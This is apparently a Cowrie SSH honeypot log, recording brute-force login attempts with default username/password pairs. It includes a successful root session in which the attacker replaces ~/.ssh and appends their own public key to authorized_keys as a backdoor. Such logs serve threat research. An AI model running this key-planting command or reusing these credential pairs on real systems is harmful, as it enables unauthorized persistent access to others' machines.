{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:59:58.634009Z","src_ip":"80.94.92.186","session":"2c4494b54b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:59:59.688448Z","src_ip":"80.94.92.186","session":"2c4494b54b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:01.073098Z","src_ip":"80.94.92.186","session":"2c4494b54b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff61903e282","protocol":"ssh","message":"New connection: 193.32.162.151:56042 (159.203.135.109:22) [session: 5ff61903e282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:24.649114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:24.683159Z","src_ip":"193.32.162.151","session":"5ff61903e282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:24.750091Z","src_ip":"193.32.162.151","session":"5ff61903e282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"epsuser123","message":"login attempt [epsuser/epsuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:25.146521Z","src_ip":"193.32.162.151","session":"5ff61903e282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:26.250108Z","src_ip":"193.32.162.151","session":"5ff61903e282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":35382,"dst_ip":"10.17.0.5","dst_port":22,"session":"72187d280891","protocol":"ssh","message":"New connection: 92.118.39.95:35382 (10.17.0.5:22) [session: 72187d280891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:47.480799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:47.485476Z","src_ip":"92.118.39.95","session":"72187d280891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:47.593052Z","src_ip":"92.118.39.95","session":"72187d280891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4","message":"login attempt [ubuntu/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:47.902678Z","src_ip":"92.118.39.95","session":"72187d280891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:49.006983Z","src_ip":"92.118.39.95","session":"72187d280891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.81.65","src_port":19130,"dst_ip":"10.17.0.5","dst_port":22,"session":"d616fd3a5d5c","protocol":"ssh","message":"New connection: 103.164.81.65:19130 (10.17.0.5:22) [session: d616fd3a5d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:58.942797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:58.947518Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:00:59.158131Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456f","message":"login attempt [root/123456f] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:00.028001Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:00.495472Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:00.498880Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:00.502654Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:00.714689Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.168322Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.171598Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.386039Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.390761Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.81.65","src_port":19686,"dst_ip":"10.17.0.5","dst_port":22,"session":"03489d3a2c1e","protocol":"ssh","message":"New connection: 103.164.81.65:19686 (10.17.0.5:22) [session: 03489d3a2c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.576893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.581800Z","src_ip":"103.164.81.65","session":"03489d3a2c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:01.784853Z","src_ip":"103.164.81.65","session":"03489d3a2c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:02.632265Z","src_ip":"103.164.81.65","session":"03489d3a2c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:03.839107Z","src_ip":"103.164.81.65","session":"03489d3a2c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.81.65","src_port":20156,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd77eb6e1f7","protocol":"ssh","message":"New connection: 103.164.81.65:20156 (10.17.0.5:22) [session: cdd77eb6e1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:04.035635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:04.040831Z","src_ip":"103.164.81.65","session":"cdd77eb6e1f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:04.242116Z","src_ip":"103.164.81.65","session":"cdd77eb6e1f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:05.076588Z","src_ip":"103.164.81.65","session":"cdd77eb6e1f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:05.279894Z","src_ip":"103.164.81.65","session":"cdd77eb6e1f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:05.288650Z","src_ip":"103.164.81.65","session":"d616fd3a5d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.82","src_port":54061,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac2162a82a7","protocol":"ssh","message":"New connection: 205.210.31.82:54061 (10.17.0.5:22) [session: 6ac2162a82a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:46.438946Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:01:46.607900Z","src_ip":"205.210.31.82","session":"6ac2162a82a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":57218,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bff4b6182f9","protocol":"ssh","message":"New connection: 45.148.10.151:57218 (159.203.135.109:22) [session: 0bff4b6182f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:05.419984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:05.424790Z","src_ip":"45.148.10.151","session":"0bff4b6182f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:05.504858Z","src_ip":"45.148.10.151","session":"0bff4b6182f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:05.857301Z","src_ip":"45.148.10.151","session":"0bff4b6182f9","protocol":"ssh"}
